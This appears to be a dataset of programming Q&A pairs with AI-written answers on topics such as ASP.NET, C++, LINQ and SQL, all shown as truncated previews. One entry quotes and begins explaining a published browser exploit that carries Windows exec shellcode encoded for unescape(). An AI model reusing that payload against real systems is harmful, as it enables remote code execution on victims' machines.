To create a multi-tenant ASP.NET MVC application where each client has a distinct user interface, including separate graphics, logos, CSS, and potentially different features, you can implement the following strategies: ### 1. **Subdomain Routing** Configure your application to handle requests based on subdomains, lik...
47,783
[ { "from": "human", "value": "I have an Asp.net Mvc site where I want to give a separate access and user interface to different clients like:\nhttp://company1.mysite.com\nhttp://company2.mysite.com\nhttp://company3.mysite.com \nEach client will have a different ui but practically same functionality (or with ...
Thanks to ASP.NET MVC framework, it became possible to unit test web applications. But how do you unit test windows forms applications?
Unit testing Windows Forms applications can be more challenging than unit testing ASP.NET MVC applications due to the reliance on the UI components and event-driven programming. However, there are several strategies you can employ to effectively unit test Windows Forms applications: ### 1. **Separation of Concerns** ...
49,969
[ { "from": "human", "value": "Thanks to ASP.NET MVC framework, it became possible to unit test web applications. But how do you unit test windows forms applications?\n" }, { "from": "gpt", "value": "Unit testing Windows Forms applications can be more challenging than unit testing ASP.NET MVC appl...
How do I programmatically find out the width and height of the video in an mpeg-2 transport program stream file? Edit: I am using C++, but am happy for examples in any language. Edit: Corrected question - it was probably program streams I was asking about
To programmatically find out the width and height of the video in an MPEG-2 Program Stream (MPEG-2 PS) file, you can parse the MPEG-2 PS structure to find the video stream and extract the relevant information from the Video Elementary Stream (ES) packet headers. ### Overview of MPEG-2 PS Structure An MPEG-2 Program S...
46,607
[ { "from": "human", "value": "How do I programmatically find out the width and height of the video in an mpeg-2 transport program stream file? \nEdit: I am using C++, but am happy for examples in any language.\nEdit: Corrected question - it was probably program streams I was asking about\n" }, { "fr...
I have two models one is Employee and other is Asset, with Many to one relation between Asset and Employee. And Asset is added as StackedInline field to Employee Admin interface, Is there anyway I can make Asset as read only field in the Employee Admin. My intention was to show all the assets the employee is currently...
Yes, you can make the Asset inline read-only in the Django Admin interface. By overriding the `get_readonly_fields` method in your `EmployeeAdmin` class, you can specify which fields should be read-only, including the fields in the StackedInline for the Asset model. Here's an example of how to implement this: ### mod...
43,836
[ { "from": "human", "value": "I have two models one is Employee and other is Asset, with Many to one relation between Asset and Employee. And Asset is added as StackedInline field to Employee Admin interface, Is there anyway I can make Asset as read only field in the Employee Admin. \nMy intention was to sho...
I need to take an existing xml file, and modify just a few attributes and write the file back out. I was thinking of using libxml2 to get this done. Application is C/C++ running on Linux. Thing is, libxml2 seems to include several variations of the kitchen sink, along with portable washrooms, showers, and various othe...
Using `libxml2` to modify an XML file can indeed be daunting due to its comprehensive functionality. However, with a focused approach, you can efficiently modify an XML file while retaining its original structure. Here's a simplified step-by-step guide for what you want to achieve. ### Steps to Modify an XML File Usin...
48,551
[ { "from": "human", "value": "I need to take an existing xml file, and modify just a few attributes and write the file back out.\nI was thinking of using libxml2 to get this done. Application is C/C++ running on Linux.\nThing is, libxml2 seems to include several variations of the kitchen sink, along with po...
I'm building a framework and want developers who build with it to have the ability to allow parts of it to both share data with other sites and allow other sites to add/edit/delete data. For example, if someone makes a site that has book reviews, authors, quotes, code examples, comments, etc. the developer could make e...
You're embarking on an interesting and ambitious project that aligns with REST principles while enabling interconnectivity between applications. Let's break down your questions and explore the best practices for implementing your framework. ### 1. Using HTTP Methods (GET, POST, PUT, DELETE) RESTful APIs traditionally...
47,358
[ { "from": "human", "value": "I'm building a framework and want developers who build with it to have the ability to allow parts of it to both share data with other sites and allow other sites to add/edit/delete data.\nFor example, if someone makes a site that has book reviews, authors, quotes, code examples,...
At my current job, we're looking to implement our own odbc driver to allow many different applications to be able to connect to our own app as a datasource. Right now we are trying to weigh the options of developing our own driver to the implementation spec, which is massive, or using an SDK that allows for programmers...
Implementing a custom ODBC driver is indeed a significant undertaking, and there are various factors to consider when deciding between building your own driver from scratch or using an SDK to accelerate development. Here’s a comprehensive overview of the considerations, potential pitfalls, benefits, and estimated man-h...
48,623
[ { "from": "human", "value": "At my current job, we're looking to implement our own odbc driver to allow many different applications to be able to connect to our own app as a datasource. Right now we are trying to weigh the options of developing our own driver to the implementation spec, which is massive, or...
I am using InstallShield 2009 to generate an MSI for a codebase I have inherited. The code is comprised of VB6, and .NET 2.0 code (C# and C++). I'm developing and installing on Windows XP SP2. I created the InstallShield project (call it "MyClient.ISM") by reverse engineering it from the MSI provided by the previous te...
The error you're encountering, specifically Error 2769, indicates that a custom action did not properly release a handle. This usually happens when the custom action (in this case, related to the installation of .NET services) fails to clean up or return the expected values. To resolve this, you may want to follow thes...
47,905
[ { "from": "human", "value": "I am using InstallShield 2009 to generate an MSI for a codebase I have inherited. The code is comprised of VB6, and .NET 2.0 code (C# and C++). I'm developing and installing on Windows XP SP2.\nI created the InstallShield project (call it \"MyClient.ISM\") by reverse engineering...
What is the accepted/most commonly used way to manipulate dynamic (with all dimensions not known until runtime) multi-dimensional arrays in C and/or C++. I'm trying to find the cleanest way to accomplish what this Java code does: public static void main(String[] args){ Scanner sc=new Scanner(System.in); int rows=sc.n...
In C and C++, handling dynamic multi-dimensional arrays can indeed be challenging compared to languages like Java, where you have built-in support for multi-dimensional arrays. Below, I'll outline a few common approaches for both languages that allow you to achieve similar functionality. ### C Language 1. **Single-di...
45,795
[ { "from": "human", "value": "What is the accepted/most commonly used way to manipulate dynamic (with all dimensions not known until runtime) multi-dimensional arrays in C and/or C++.\nI'm trying to find the cleanest way to accomplish what this Java code does:\npublic static void main(String[] args){\n Scann...
Let's in fact generalize to a c-confidence interval. Let the common rate parameter be a. (Note that the mean of an exponential distribution with rate parameter a is 1/a.) First find the cdf of the sum of n such i.i.d. random variables. Use that to compute a c-confidence interval on the sum. Note that the max likeli...
To tackle the problem, we start by analyzing the properties of exponential random variables, then derive the cumulative distribution function (CDF) of their sum, and finally use this information to construct a confidence interval. ### Step 1: Properties of Exponential Random Variables Given that we have \( n \) i.i.d....
46,620
[ { "from": "human", "value": "Let's in fact generalize to a c-confidence interval. Let the common rate parameter be a. (Note that the mean of an exponential distribution with rate parameter a is 1/a.)\nFirst find the cdf of the sum of n such i.i.d. random variables. Use that to compute a c-confidence inte...
I've written an Apache module in C. Under certain conditions, I can get it to segfault, but I have no idea as to why. At this point, it could be my code, it could be the way I'm compiling the program, or it could be a bug in the OS library (the segfault happens during a call to dlopen()). I've tried running through GDB...
Debugging C programs, especially in a complex environment like an Apache module, can be challenging, but with the right approach, you can improve your debugging skills and tackle new bug challenges effectively. Here’s a structured way to approach your situation and enhance your debugging skills: ### 1. Understand Your...
45,483
[ { "from": "human", "value": "I've written an Apache module in C. Under certain conditions, I can get it to segfault, but I have no idea as to why. At this point, it could be my code, it could be the way I'm compiling the program, or it could be a bug in the OS library (the segfault happens during a call to ...
The new extensions in .Net 3.5 allow functionality to be split out from interfaces. For instance in .Net 2.0 public interface IHaveChildren { string ParentType { get; } int ParentId { get; } List<IChild> GetChildren() } Can (in 3.5) become: public interface IHaveChildren { string ParentType { get; } ...
You are correct that the introduction of extension methods in .NET 3.5 allows you to add functionality to existing interfaces without modifying them, thereby providing more flexibility and reducing the need for abstract base classes. This mechanism can lead to more maintainable code by allowing you to keep your interfa...
1,279
[ { "from": "human", "value": "The new extensions in .Net 3.5 allow functionality to be split out from interfaces.\nFor instance in .Net 2.0\npublic interface IHaveChildren {\n string ParentType { get; }\n int ParentId { get; }\n\n List<IChild> GetChildren()\n}\n\nCan (in 3.5) become:\npublic interfa...
Partial template specialization is one of the most important concepts for generic programming in C++. For example: to implement a generic swap function: template <typename T> void swap(T &x, T &y) { const T tmp = x; y = x; x = tmp; } To specialize it for a vector to support O(1) swap: template <typename T, class...
Partial template specialization is indeed a powerful feature in C++ that allows developers to create specialized behavior for certain types while still maintaining a generic interface. However, not all programming languages support this concept in the same way, and many do not have direct equivalents to C++'s template ...
48,409
[ { "from": "human", "value": "Partial template specialization is one of the most important concepts for generic programming in C++. For example: to implement a generic swap function:\ntemplate <typename T>\nvoid swap(T &x, T &y) {\n const T tmp = x;\n y = x;\n x = tmp;\n}\n\nTo specialize it for a vector ...
Perhaps not directly programming related, but definitely product / commercially related. And I can't find a dupe, so I thought I would ask. I have had a bit of trouble trying to figure out what best to say to people who have called and asked for advice. The Microsoft message is a bit worrying - basically, be worried,...
It sounds like you’re dealing with a situation where there’s a significant security vulnerability affecting Microsoft products, and you're trying to help others understand the risks and how to mitigate them. Here are some key points and suggestions for providing advice to your community: ### Understanding the Risk 1....
46,430
[ { "from": "human", "value": "Perhaps not directly programming related, but definitely product / commercially related. And I can't find a dupe, so I thought I would ask.\nI have had a bit of trouble trying to figure out what best to say to people who have called and asked for advice. The Microsoft message ...
I recently had to take a quick look at Adobe InDesign server. In this enviroment you write your interactions with the servers libs via JavaSscript. This got me thinking, how could I use the Javascript language within a C# application so that I could expose set bits of functionality of my API/framework and allow others...
Hello Chris! Integrating JavaScript into a C# application is a great way to allow for extensibility and plugin functionality. There are several libraries and approaches you can use to achieve this without having to implement your own JavaScript interpreter from scratch. Here are a few popular options: ### 1. **ClearS...
49,853
[ { "from": "human", "value": "I recently had to take a quick look at Adobe InDesign server. In this enviroment you write your interactions with the servers libs via JavaSscript. \nThis got me thinking, how could I use the Javascript language within a C# application so that I could expose set bits of function...
I feel like i am completely missing something because I am not able to find any examples describing what i want to do. I have a fairly plain jane ASP.NET web application project that I want to localize. I'd like the output to have satellite dlls so that later when I want to add a language I can just drop in a new DLL....
To create satellite assemblies for localization in an ASP.NET web application, and allow for the easy addition of new languages without recompiling your application, you need to follow several steps. Here's a detailed guide to set this up: ### 1. Setting Up Resource Files You already have `.resx` files under `App_Glo...
48,778
[ { "from": "human", "value": "I feel like i am completely missing something because I am not able to find any examples describing what i want to do.\nI have a fairly plain jane ASP.NET web application project that I want to localize. I'd like the output to have satellite dlls so that later when I want to ad...
I'm working on a little web crawler that will run in the system tray and crawl a web site every hour on the hour. What is the best way to get .NET to raise an event every hour or some other interval to perform some task. For example I want to run an event every 20 minutes based on the time. The event would be raised at...
Your approach to using a timer to fire events at specific intervals based on the current time is quite logical. However, the `System.Windows.Forms.Timer` you are using is designed for use in GUI applications, and if you're working on a web crawler running in the system tray, you might want to consider other timer imple...
49,971
[ { "from": "human", "value": "I'm working on a little web crawler that will run in the system tray and crawl a web site every hour on the hour.\nWhat is the best way to get .NET to raise an event every hour or some other interval to perform some task. For example I want to run an event every 20 minutes based...
I am from a c# background and am converting a vb.net windows forms app to c#. I have a windows form called associateForm. In code the developer references associate form like so:- Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles EMS.MouseDoubleCli...
In VB.NET, if you are referencing `associateForm` without an explicit instantiation, it's possible that it is defined as a module-level variable or shared resource, or it could be an automatically created instance if the `associateForm` is a form that has been shown previously. This behavior is not directly translatabl...
47,852
[ { "from": "human", "value": "I am from a c# background and am converting a vb.net windows forms app to c#.\nI have a windows form called associateForm.\nIn code the developer references associate form like so:-\nPrivate Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Form...
Starting with the following LINQ query: from a in things where a.Id == b.Id && a.Name == b.Name && a.Value1 == b.Value1 && a.Value2 == b.Value2 && a.Value3 == b.Value3 select a; How can I remove (at runtime) one or more of the conditions in the where clause in order to obtain queries similar to the followi...
To make the conditions in a LINQ query dynamic, you can use the `IQueryable` interface and the `Expression` class to build your query conditions at runtime. You can start with a base query and then conditionally add the necessary where clauses based on your requirements. Here's an example demonstrating how you can ach...
44,354
[ { "from": "human", "value": "Starting with the following LINQ query:\nfrom a in things \nwhere a.Id == b.Id && \na.Name == b.Name && \na.Value1 == b.Value1 && \na.Value2 == b.Value2 && \na.Value3 == b.Value3 \nselect a;\n\nHow can I remove (at runtime) one or more of the conditions in the where clause...
On Internet Explorer, the standard HTML file upload form also allows for direct input of the file name (instead of using the file selector dialog). This makes it possible to enter non-existing files. On other browsers (which do not let you do that) I suppose this case can still occur if you delete the file after having...
When a user attempts to upload a non-existing file using an HTML file input element, the behavior can vary depending on the browser and the method of file selection. Here are some points regarding the behavior of the upload process: 1. **Input Value**: In most browsers, when a user selects a file through the file sele...
48,071
[ { "from": "human", "value": "On Internet Explorer, the standard HTML file upload form also allows for direct input of the file name (instead of using the file selector dialog). This makes it possible to enter non-existing files. On other browsers (which do not let you do that) I suppose this case can still ...
Say I have a user control like the one below, how would I bind something to the ActualWidth of the "G1" grid from outside of the control? <UserControl x:Class="Blah"> <WrapPanel> <Grid x:Name="G1"> ... </Grid> <Grid> ... </Grid> </WrapPanel> </UserControl>
To bind to the `ActualWidth` of the `G1` grid from outside the user control, you'll need to expose the `ActualWidth` as a dependency property or as a normal property in your user control. Here's how you can do that step-by-step: ### Step 1: Define a Dependency Property in Your User Control First, you need to create a...
49,876
[ { "from": "human", "value": "Say I have a user control like the one below, how would I bind something to the ActualWidth of the \"G1\" grid from outside of the control?\n<UserControl x:Class=\"Blah\">\n <WrapPanel>\n <Grid x:Name=\"G1\">\n ...\n </Grid>\n <Grid>\n ...\n </Grid>\n </W...
I am doing some research on .NET security. The most of sources just describe .NET security mechanisms but no even a word of possible vulnerabilities or things to be kept in mind. Do you know any security problems on .NET platform?
Certainly! While .NET provides a robust security framework, there are still potential vulnerabilities and areas to be mindful of when developing applications. Here are some security concerns and best practices to consider when using the .NET platform: ### Common Vulnerabilities in .NET Applications 1. **Injection Att...
49,369
[ { "from": "human", "value": "I am doing some research on .NET security. The most of sources just describe .NET security mechanisms but no even a word of possible vulnerabilities or things to be kept in mind. Do you know any security problems on .NET platform?\n" }, { "from": "gpt", "value": "Cer...
I'm trying to find a suitable protocol middleware for my next distributed application. I've found several specifications in the last few days and was wondering if I missed an important one? It should be a binary protocol, support RPCs and optionally have open-source implementations in different languages. Here's the li...
You've compiled a solid list of protocols that fit your criteria for a binary protocol that supports RPCs and has open-source implementations in various languages. Here are a few additional protocols that you may want to consider: 1. **gRPC**: - Developed by Google, gRPC is a high-performance, open-source RPC fram...
43,794
[ { "from": "human", "value": "I'm trying to find a suitable protocol middleware for my next distributed application. I've found several specifications in the last few days and was wondering if I missed an important one? It should be a binary protocol, support RPCs and optionally have open-source implementati...
When an audio or midi clip is played (triggered), its name needs to be sent using OSC to another application. LiveAPI is an interface which allows one to explore and automate Ableton Live using python scripts. The code to do this must be written in a python script, which must be placed in a specific folder where Ableto...
To send the name of an audio or MIDI clip via OSC (Open Sound Control) when it is played in Ableton Live, you'll need to use the LiveAPI in conjunction with a Python script. Here’s a step-by-step guide on how to achieve this. ### Step 1: Set Up Your Environment 1. **Install Python**: Make sure you have Python install...
48,370
[ { "from": "human", "value": "When an audio or midi clip is played (triggered), its name needs to be sent using OSC to another application.\nLiveAPI is an interface which allows one to explore and automate Ableton Live using python scripts.\nThe code to do this must be written in a python script, which must ...
Can any one tell me what files I need to submit to the Apple appstore when I submit my application? As an example, do the Resource file, Digital Developer certificate files and others need to be submitted? Please help me understand this process, or show me a resource on the web where I can learn more.
When submitting an application to the Apple App Store, you don't need to submit every file associated with your project. Instead, you will prepare and submit certain files and assets through Xcode and App Store Connect. Here's a breakdown of the key components involved in the submission process: ### Key Components to ...
32,666
[ { "from": "human", "value": "Can any one tell me what files I need to submit to the Apple appstore when I submit my application?\nAs an example, do the Resource file, Digital Developer certificate files and others need to be submitted? \nPlease help me understand this process, or show me a resource on the w...
I usually do not have difficulty to read JavaScript code but for this one I can’t figure out the logic. The code is from an exploit that has been published 4 days ago. You can find it at milw0rm. Here is the code: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://ww...
Certainly! Let's break down the exploit code you provided step-by-step to clarify its logic and purpose. ### 1. Understanding the `shellcode` variable ```javascript var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%...
47,631
[ { "from": "human", "value": "I usually do not have difficulty to read JavaScript code but for this one I can’t figure out the logic. The code is from an exploit that has been published 4 days ago. You can find it at milw0rm.\nHere is the code:\n<html>\n <div id=\"replace\">x</div>\n <script>\n ...
Is there a way in Python, to have more than one constructor or more than one method with the same name, who differ in the number of arguments they accept or the type(s) of one or more argument(s)? If not, what would be the best way to handle such situations? For an example I made up a color class. This class should onl...
In Python, there is no direct support for method overloading based on the number or type of parameters, as you might find in languages like Java or C++. However, you can achieve similar functionality using default arguments, variable-length arguments (`*args` and `**kwargs`), or by using class methods or static methods...
49,750
[ { "from": "human", "value": "Is there a way in Python, to have more than one constructor or more than one method with the same name, who differ in the number of arguments they accept or the type(s) of one or more argument(s)?\nIf not, what would be the best way to handle such situations?\nFor an example I m...
Is it possible to bypass the Freemarker cache when certain templates are requested? I realise that I'll probably have to implement my own TemplateLoader in order to do this, but even so, I can't see a way to check the cache when say template A is requested, but bypass it when template B is requested? If this is not pos...
In FreeMarker, caching of templates can be controlled to some extent by customizing how templates are loaded. However, there isn't a built-in mechanism to selectively bypass caching for certain templates while allowing caching for others. Instead, you will indeed need to implement your own `TemplateLoader` to achieve t...
49,703
[ { "from": "human", "value": "Is it possible to bypass the Freemarker cache when certain templates are requested? I realise that I'll probably have to implement my own TemplateLoader in order to do this, but even so, I can't see a way to check the cache when say template A is requested, but bypass it when te...
I've followed the ADAM Step by Step Guide from Microsoft and setup an ADAM instance on my local machine. I'm attempting to authenticate using the "Mary Baker" account, but every time I get a COM exception on the if (entry.Guid != null) line below. The exception states that there's an unknown user name or bad password...
It sounds like you're doing a lot of things correctly to set up and authenticate against your ADAM (Active Directory Application Mode) instance, but the COM exception suggests that there may be an issue with how you're specifying the `userId` or the authentication process. Here are several steps you can take to trouble...
46,696
[ { "from": "human", "value": "I've followed the ADAM Step by Step Guide from Microsoft and setup an ADAM instance on my local machine. I'm attempting to authenticate using the \"Mary Baker\" account, but every time I get a COM exception on the if (entry.Guid != null) line below. The exception states that t...
Is there a way to pre-compute an array of values based on templates? In the following example I would like the 'powers_of_2' array to have 256 values computed at compile-time if that is possible without having to type all of the values. #include <iostream> using namespace std; template <int X, char Y> struct power { ...
In C++, you can achieve this using template metaprogramming to generate an array of values at compile time. However, you cannot use a traditional for loop or similar constructs directly in the array initialization in C++. Instead, you can define a helper structure to fill the array with powers of 2. Here’s how you can...
30,997
[ { "from": "human", "value": "Is there a way to pre-compute an array of values based on templates? In the following example I would like the 'powers_of_2' array to have 256 values computed at compile-time if that is possible without having to type all of the values.\n#include <iostream>\nusing namespace std...
I'm creating HTML with a loop that has a column for Action. That column is a Hyperlink that when the user clicks calls a JavaScript function and passes the parameters... example: <a href="#" OnClick="DoAction(1,'Jose');" > Click </a> <a href="#" OnClick="DoAction(2,'Juan');" > Click </a> <a href="#" OnClick="DoAction(3...
Certainly! You can accomplish this by defining the JavaScript function `DoAction` to make an Ajax call using jQuery when it's triggered by the hyperlink click. Below is a full example of how you could implement this: ### HTML Structure ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <me...
49,688
[ { "from": "human", "value": "I'm creating HTML with a loop that has a column for Action. That column\nis a Hyperlink that when the user clicks calls a JavaScript\nfunction and passes the parameters...\nexample:\n<a href=\"#\" OnClick=\"DoAction(1,'Jose');\" > Click </a>\n<a href=\"#\" OnClick=\"DoAction(2,'...
I'm trying to write a VB.Net program that saves 1-2 million 5-field records (plus an indexed ID) to an MSAccess table every day. The saving process currently takes 13-20 hours, which obviously can't be right. Its a flat table with minimal indexing, currently only 156MB. Except for one double field, the fields are sma...
When dealing with a large number of database inserts in a loop, the performance can significantly degrade due to the overhead of executing each individual `INSERT` statement and potentially maintaining indexes and constraints. Here are several strategies you can use to improve the performance of your VB.Net program whe...
46,508
[ { "from": "human", "value": "I'm trying to write a VB.Net program that saves 1-2 million 5-field records (plus an indexed ID) to an MSAccess table every day. The saving process currently takes 13-20 hours, which obviously can't be right.\nIts a flat table with minimal indexing, currently only 156MB. Excep...
PLEASE DON'T CLOSE -- IT'S PROGRAMMING-RELATED (BUT NO CODE INCLUDED) I develop MOSS sites, and I need to make sure my sites are compatible with IE 7,8 and FireFox. I have an external testing site (Windows 2003, IIS 6) and when I browse to this MOSS site, I can authenticate without any problems using IE8. When I brow...
It sounds like you're encountering an authentication issue with your local SharePoint (MOSS) installation on IIS 7, while it works fine on your external testing site with IIS 6. Here are a few things you might want to check that could help resolve the issue: 1. **Authentication Settings**: Ensure that the authenticati...
46,373
[ { "from": "human", "value": "PLEASE DON'T CLOSE -- IT'S PROGRAMMING-RELATED (BUT NO CODE INCLUDED)\nI develop MOSS sites, and I need to make sure my sites are compatible with IE 7,8 and FireFox. \nI have an external testing site (Windows 2003, IIS 6) and when I browse to this MOSS site, I can authenticate w...
I am looking to create an expression tree by parsing xml using C#. The xml would be like the following: <Expression> <If> <Condition> <GreaterThan> <X> <Y> </GreaterThan> </Condition> <Expression /> <If> <Else> <Expression /> </Else> <Expression> or another example... <Expression> <Add> ...
Creating an expression tree by parsing XML in C# can be accomplished using the `System.Xml` namespace to read the XML structure, and then representing the parsed information using a tree structure that you define. Below is a step-by-step guide on how to get started along with some example code. ### Step 1: Define Your...
41,556
[ { "from": "human", "value": "I am looking to create an expression tree by parsing xml using C#.\nThe xml would be like the following:\n<Expression>\n<If>\n <Condition>\n <GreaterThan>\n <X>\n <Y>\n </GreaterThan>\n </Condition>\n <Expression />\n<If>\n<Else>\n <Expression />\n</Else>\n<E...
What is the best compression algorithm with the following features: should take less time to decompress (can take reasonably more time compress) should be able to compress sorted data (approx list of 3,000,000 strings/integers ...) Please suggest along with metrics: compression ratio, algorithmic complexity for compr...
When considering a compression algorithm that prioritizes decompression speed and is effective for sorted data, there are several options to consider. Below, I'll discuss a few compression algorithms that align well with your criteria, along with their relevant metrics such as compression ratio and algorithmic complexi...
49,871
[ { "from": "human", "value": "What is the best compression algorithm with the following features:\n\nshould take less time to decompress (can take reasonably more time compress)\nshould be able to compress sorted data (approx list of 3,000,000 strings/integers ...)\n\nPlease suggest along with metrics: compr...
NOTE: the original question is moot but scan to the bottom for something relevant. I have a query I want to optimize that looks something like this: select cols from tbl where col = "some run time value" limit 1; I want to know what keys are being used but whatever I pass to explain, it is able to optimize the where c...
Your question touches on several important aspects of working with MySQL's query optimization and understanding the execution plan, especially in the context of dynamic queries where the values are not known ahead of time. ### Key Points: 1. **Using `EXPLAIN` with Dynamic Values**: When you run `EXPLAIN` on a query w...
45,669
[ { "from": "human", "value": "NOTE: the original question is moot but scan to the bottom for something relevant.\nI have a query I want to optimize that looks something like this:\nselect cols from tbl where col = \"some run time value\" limit 1;\n\nI want to know what keys are being used but whatever I pass...
In win32, how do I setup a callback mechanism for RichEdit I have not created myself? PART 1 I'm reading from a textedit field in another application's GUI. This works just fine now, except after the first read I'd like to fetch only new or modified lines. In GTK+ or Qt I'd just install a callback on some signal the fi...
To monitor changes in a third-party RichEdit control in a Win32 application, you generally won't have direct access to a callback mechanism like you would in higher-level frameworks like GTK+ or Qt. However, you can use a combination of Windows messages and polling to achieve similar results. Here's how you can approac...
48,192
[ { "from": "human", "value": "In win32, how do I setup a callback mechanism for RichEdit I have not created myself?\nPART 1\nI'm reading from a textedit field in another application's GUI. This works just fine now, except after the first read I'd like to fetch only new or modified lines. In GTK+ or Qt I'd ju...
I'm looking for guidance on how to use PHP's Mailparse pecl extension. The documentation on the PHP website isn't very helpful. Does anyone have experience with this and care to share a few pointers?
Certainly! The `mailparse` extension in PHP is used to parse and manipulate email messages. It can handle the parsing of email messages into their component parts, including headers, body, and attachments. Below are some pointers and examples to help you get started with the `mailparse` extension. ### Installation Be...
49,459
[ { "from": "human", "value": "I'm looking for guidance on how to use PHP's Mailparse pecl extension. The documentation on the PHP website isn't very helpful.\nDoes anyone have experience with this and care to share a few pointers?\n" }, { "from": "gpt", "value": "Certainly! The `mailparse` extens...
I'm trying to write something that puts the contents of the message on a queue, to have work done on it later. I've been messing around with IMAP IDLE with varying degrees of success. I was wondering if anyone knows of a method to have a mail server receive an email, and then perform an action like posting the contents...
To achieve the functionality you're describing—having a mail server receive an email and then posting the contents of that email to a URL endpoint—you can use a combination of email processing and webhooks. Below are several approaches you can consider: ### Option 1: Use a Dedicated Email Processing Service You can us...
43,094
[ { "from": "human", "value": "I'm trying to write something that puts the contents of the message on a queue, to have work done on it later. I've been messing around with IMAP IDLE with varying degrees of success.\nI was wondering if anyone knows of a method to have a mail server receive an email, and then p...
I am divided between using a C# implementation and a pure SQL 2005/2008 implementation. I need to determine the length of usage based on timestamps of their last actions. My table contains "friendID" (uniqueIdentifier) and "lastAction" datetime. Here is an example: Bob, 1:00 PM Bob, 1:01 PM Bob, 1:20 PM Bob, 1:2...
To achieve this in pure SQL, you can use a Common Table Expression (CTE) along with some window functions to partition the data based on the user and check for inactivity gaps. Given your requirement of a 60-minute inactivity timeout, we can derive the sessions for each user by calculating the time difference between c...
46,981
[ { "from": "human", "value": "I am divided between using a C# implementation and a pure SQL 2005/2008 implementation. I need to determine the length of usage based on timestamps of their last actions. My table contains \"friendID\" (uniqueIdentifier) and \"lastAction\" datetime. Here is an example:\n\nBob...
I want to be able to send e-mail from my own domain (Domain.com) over Windows 2003 server, I tested my application and it's working alright on my local IIS. But I don't know exactly what's needed to get it work for out side. Thanks in advance.
To send email from your own domain (Domain.com) using a Windows Server 2003 and IIS, you'll need to consider several key components. Here are the steps you can follow to set up and ensure that your application can send emails successfully from the server to the outside world: ### Step 1: Set Up SMTP Service 1. **Inst...
48,449
[ { "from": "human", "value": "I want to be able to send e-mail from my own domain (Domain.com) over Windows 2003 server, I tested my application and it's working alright on my local IIS.\nBut I don't know exactly what's needed to get it work for out side.\nThanks in advance.\n" }, { "from": "gpt", ...
I find that what not to do is a harder lesson to learn than what should be done. From my experience, what separates an expert from an intermediate is the ability to select from among various seemingly equivalent ways of doing the same thing. So, when it comes to JavaScript what kinds of things should you not do and wh...
That's a great observation! Understanding what not to do can often lead to better practices in programming. Here are several important "don'ts" when it comes to JavaScript, particularly in the context of web development: ### 1. **Don't Use `var` for Variable Declarations** - **Why**: `var` has function scope and ca...
49,413
[ { "from": "human", "value": "I find that what not to do is a harder lesson to learn than what should be done. \nFrom my experience, what separates an expert from an intermediate is the ability to select from among various seemingly equivalent ways of doing the same thing.\nSo, when it comes to JavaScript wh...
Is there a relatively simple way to change all the data in a JTable? For example, if I have a JTable named books which contains information about all books by a certain author, and then the user changes the author, I would have to update that table with a completely new set of information (note, because of the volume o...
Yes, there is a straightforward way to update all the data in a `JTable`. To achieve this, you'll typically need to replace the underlying data model of the `JTable` with a new model containing the updated data. Here's how you can do it step by step: ### Step 1: Create a New Table Model You should create or obtain a...
46,223
[ { "from": "human", "value": "Is there a relatively simple way to change all the data in a JTable? For example, if I have a JTable named books which contains information about all books by a certain author, and then the user changes the author, I would have to update that table with a completely new set of i...
How can I use a database and PHP sessions to store a user's shopping cart? I am using CodeIgniter, if that helps. Example code would also be nice.
To store a user's shopping cart using a database and PHP sessions in a CodeIgniter application, you'll typically want to take advantage of both the session functionality and a database table to persist cart data. Here’s a step-by-step approach, complete with example code. ### Step 1: Create a Database Table First, cr...
42,910
[ { "from": "human", "value": "How can I use a database and PHP sessions to store a user's shopping cart? I am using CodeIgniter, if that helps.\nExample code would also be nice.\n" }, { "from": "gpt", "value": "To store a user's shopping cart using a database and PHP sessions in a CodeIgniter app...
EDIT: minor fixes (virtual Print; return mpInstance) following remarks in the answers. I am trying to create a system in which I can derive a Child class from any Base class, and its implementation should replace the implementation of the base class. All the objects that create and use the base class objects shouldn't ...
Your design introduces a flexible factory mechanism for creating objects derived from base classes. It provides a way to replace base class implementations with derived classes without modifying the client code that creates these objects. However, there are some improvements, corrections, and best practices you can con...
49,461
[ { "from": "human", "value": "EDIT: minor fixes (virtual Print; return mpInstance) following remarks in the answers.\nI am trying to create a system in which I can derive a Child class from any Base class, and its implementation should replace the implementation of the base class.\nAll the objects that creat...
I would like to search my table having a column of first names and a column of last names. I currently accept a search term from a field and compare it against both columns, one at a time with select * from table where first_name like '%$search_term%' or last_name like '%$search_term%'; This works fine with...
In MySQL, the order of operations and how you structure your query can certainly impact its performance and the results you receive. However, regarding the specific functionality you're looking for—matching the search term against multiple columns and combinations of those columns—there isn't a strict rule that require...
47,227
[ { "from": "human", "value": "I would like to search my table having a column of first names and a column of last names. I currently accept a search term from a field and compare it against both columns, one at a time with \n select * from table where first_name like '%$search_term%' or \n last_name l...
I have the following problem. If I query values with a keyfigure which is a function I can't specify multiple values of the same dimension restriction, but if it is not a function it works. So this works: SELECT {[Measures].[Netto]} on columns FROM TDC where ({NonEmpty([Time].[Month].[Month].&[2008-03-01T00:00:00]), ...
The issue you are experiencing with the calculated member in your MDX query is likely due to the way the calculated member is defined and how it interacts with the context of the query when multiple dimension values are specified. When using a calculated member like `[Measures].[CalculatedFunction]`, the MDX engine e...
46,361
[ { "from": "human", "value": "I have the following problem. If I query values with a keyfigure which is a function I can't specify multiple values of the same dimension restriction, but if it is not a function it works.\nSo this works:\nSELECT {[Measures].[Netto]} on columns FROM TDC where\n({NonEmpty([Time]...
I have a class called DatabaseHelper that wraps a DbConnection. What's the proper way to setup this class for a using statement? I have implemented IDisposible, but I'm not sure when and where I should be calling Connection.Close() or Connection.Dispose(). When I simply call Connection.Dispose() in my own Dispose() met...
When implementing a class that wraps a `DbConnection` and implements `IDisposable`, you want to ensure that resources are released correctly and that you're following best practices for managing unmanaged resources. Here's a suggested approach to safely handle the disposal of your `DbConnection`. ### Implementing the ...
48,873
[ { "from": "human", "value": "I have a class called DatabaseHelper that wraps a DbConnection. What's the proper way to setup this class for a using statement? I have implemented IDisposible, but I'm not sure when and where I should be calling Connection.Close() or Connection.Dispose().\nWhen I simply call Co...
